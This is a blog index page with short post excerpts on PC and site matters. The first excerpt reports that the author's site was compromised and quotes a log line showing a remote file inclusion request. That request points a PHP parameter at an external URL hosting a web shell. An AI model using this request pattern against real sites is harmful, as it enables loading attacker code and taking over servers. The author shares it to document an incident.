Seems that some clever hacker managed to abuse an unforeseen vulnerability in /core/pdf.php (CVS) and run external code (like r57shell). All in all extra annoying since I wasn’t even using PDF export in the first place.
The log reveals the following pattern (pardon the formatting) …
[code]72.20.3.58 - - [29/Sep/2006:15:59:46 +0200] “POST /movies/core/pdf.php?config[pdf_module]= http://membres.lycos.fr/uid/r57en.txt? HTTP/1.1″ 200 24522
“Mozilla/4.0 [...]
Filed under Site by Björn Hallberg 1 year, 9 months ago | 314 views
It’s been three years since I installed Skype … and forgot about the application. The technology was in its infancy and there was no one to call basically. The software was bulky and a resource hog. Now, three years later, Skype is everywhere and expanding to handle calls to and from the POTS — and [...]
Filed under PC by Björn Hallberg 1 year, 10 months ago | 337 views
The full series ought to be out on R1 DVD right about now (since Sep 26) with sub and dub and whatnot. A proper scene release should appear shortly.
Anyway, I found this hilarious customer review over at Amazon …
The problem I have with it is the fact that the story makes no sense and it [...]
Filed under Leechings by Björn Hallberg 1 year, 10 months ago | 218 views
Call me cranky but it is sort of typical that after just a week or so of being back at the university you catch some sort of pesky virus. And one that actually made in impact which is sort of rare.
Yeah — people — what are they good for. Walking Petri dishes the lot of [...]
Filed under Uncategorized by Björn Hallberg 1 year, 10 months ago | 279 views
Being generally weary of the spam I’ve started to receive, and having exhausted about every other option, I had to switch on SpamAssassin for the server. It is a radical and risky move but Thunderbird just couldn’t manage to sort out the inbox spam despite extensive training.
Does it produce false positives? Sure. But I don’t [...]
Filed under Site by Björn Hallberg 1 year, 10 months ago | 311 views
I recently upgraded the driver for the R9700, experienced some system irregularities (hinting of a .Net problem) and as it turns out, ATI had included something late last year, namely the Catalyst Control Center, which was previously optional. Yeah, so I guess I should check for new drivers more often. But anyway, the old driver [...]
Filed under PC by Björn Hallberg 1 year, 10 months ago | 285 views
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